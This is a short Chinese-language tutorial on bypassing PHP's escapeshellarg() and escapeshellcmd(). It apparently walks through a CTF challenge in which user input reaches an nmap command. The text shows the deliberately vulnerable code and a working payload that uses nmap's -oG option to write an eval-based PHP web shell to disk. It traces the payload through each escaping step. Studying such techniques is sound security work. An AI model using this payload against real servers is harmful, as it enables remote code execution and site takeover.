参考谈escapeshellarg绕过与参数注入漏洞
函数作用
escapeshellarg() 给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
escapeshellcmd() 反斜线(\)会在以下字符之前插入: &
' 和 " 仅在不配对儿的时候被转义。
1、首先给用户输入的字符加单引号不一定能防止命令执行,可以看到我们-c 2 被加上单引号后依旧被执行了
ping '-c 2' 127.0.0.1
 2、然后如果escapeshellarg()函数使用双引号包裹的话也会造成命令执行 单引号包裹
<?php
$cmd = escapeshellarg($_GET['cmd']);
echo system('$cmd');
 双引号包裹
<?php
$cmd = escapeshellarg($_GET['cmd']);
echo system("$cmd");
 3、配对的单引号是不影响命令执行的
ping 127.0.0.1
等于
ping '127.0.'0.1''
ping ''127.0.''0.1''''

4、escapeshellarg()+escapeshellcmd()和一起使用会造成RCE问题 我们就用这道题来分析
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
echo $host."<br>";
$host = escapeshellcmd($host);
echo $host."<br>";
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
我们使用payload
http://127.0.0.1/test.php?host=’ <?php @eval($_POST[pass]);?> -oG pass.php ’
' <?php @eval($_POST[pass]);?> -oG pass.php '
经过escapeshellarg函数变成了
''\'' <?php @eval($_POST[pass]);?> -oG pass.php '\'''
经过escapeshellcmd函数变成了
''\\'' \<\?php @eval\(\$_POST\[pass\]\)\;\?\> -oG pass.php '\\'''
我们知道配对的单引号不影响命令执行,最后执行的命令为
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php @eval\(\$_POST\[pass\]\)\;\?\> -oG pass.php '\\'''
相当于
nmap -T5 -sT -Pn --host-timeout 2 -F \\ \<\?php @eval\(\$_POST\[pass\]\)\;\?\> -oG pass.php \\
  结论:只要输入两个单引号就能实现逃过单引号限制
|